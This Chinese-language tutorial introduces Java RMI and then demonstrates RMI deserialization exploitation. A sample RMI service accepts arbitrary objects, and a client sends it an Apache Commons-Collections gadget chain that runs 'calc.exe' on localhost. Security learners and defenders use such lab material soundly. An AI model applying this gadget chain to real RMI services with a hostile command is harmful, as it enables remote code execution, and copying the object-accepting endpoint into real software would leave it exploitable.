RMI
(Remote Method Invocation,远程方法调用),能调用远程虚拟机的对象的方法。
协议:
Java本身对RMI规范的实现默认使用的是JRMP协议
Weblogic中对RMI规范的实现使用T3协议。
nternet Inter-ORB协议(IIOP):基于CORBA实现的跨语言协议
组成及实现
1.服务器定义的可供远程调用的接口,需要继承Remote ,接口中定义了一个hello方法
public interface rmidemo extends Remote {
public String hello() throws RemoteException; }
2.接口实现类,其中有一个私有的构造方法,和实现的接口中的hello方法
public class RemoteHelloWorld extends UnicastRemoteObjectimplements rmidemo{
protected RemoteHelloWorld() throws RemoteException {
System.out.println("构造方法");}
public String hello() throws RemoteException{
System.out.println("hello方法被调用"); return "hello,world";}
}
public class servet{
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RemoteHelloWorld();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello }
}
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
rmidemo hello = (rmidemo) registry.lookup("hello"); // 利用注册表的代理去查询远程注册表中名为hello的对象
System.out.println(hello.hello()); }// 调用远程方法并输出结果
}
RMI反序列化
前提
利用Commons-Collections配合RMI反序列化分析
接口 //这里定义了一个User接口,其中实现了三个方法,work方法为调用Object对象
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User
extends Readable, Remote
{
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void Say() throws
RemoteException;}
接口实现类,实现了接口函数中的相应功能
import java.io.IOException;
import java.nio.CharBuffer;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port,csf,ssf);
}
@Override
public String hello(String hello) throws RemoteException {
return "hello";
}
@Override
public void work(Object obj) throws RemoteException {
System.out.println("work bei diaoyong");
}
@Override
public void Say() throws RemoteException {
System.out.println("hi");
}
@Override
public int read(CharBuffer cb) throws IOException {
return 0;
}
}
服务端开启RMI服务,绑定在了本地的1099端口
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException {
User user = new UserImpl();
Registry reg = LocateRegistry.createRegistry(1099);
reg.rebind("user",user);
System.out.println("rmi running");
}
}
客户端代码,远程调用了rmi服务的work方法,getpayload为apache的反序列化CC链,调用成功后会弹出计算器(
AnnotationInvocationHandler对jdk版本有要求,高版本jdk会报错)
)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException {
String url ="rmi://127.0.0.1:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
原文:https://www.cnblogs.com/yzcxld/p/14689155.html